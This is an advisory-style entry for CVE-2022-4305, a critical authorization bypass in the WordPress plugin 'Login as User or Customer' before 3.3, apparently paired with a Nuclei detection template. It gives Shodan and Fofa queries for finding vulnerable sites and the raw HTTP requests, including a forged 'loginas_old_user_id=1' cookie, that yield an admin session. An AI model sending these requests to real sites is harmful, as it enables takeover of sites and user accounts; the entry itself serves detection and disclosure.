| Title | Login as User or Customer < 3.3 - Privilege Escalation |
|---|---|
| Author | r3Y3r53 |
| Severity | Critical |
| Impact | Unauthenticated attackers can obtain valid admin sessions by exploiting missing authorization checks in the Login as User or Customer plugin, potentially gaining complete control over the WordPress site and all user accounts. |
| Remediation | Fixed in version 3.3 |
| CVSS Score | 9.8 |
| EPSS Score | 0.88869 |
| CVE ID | CVE-2022-4305 |
| CWE ID | CWE-269 |
| Shodan Query | http.html:/wp-content/plugins/login-as-customer-or-user |
| Fofa Query | body=/wp-content/plugins/login-as-customer-or-user |
| Tags | cve cve2022 wpscan wordpress wp-plugin wp login-as-customer-or-user auth-bypass wp-buy vuln |
The plugin lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session.
GET /wp-admin/admin-ajax.php?action=loginas_return_admin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
Connection: close
Cookie: loginas_old_user_id=1
Accept-Encoding: gzip
GET /wp-admin/users.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4305.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-4305.pcap
N/AN/A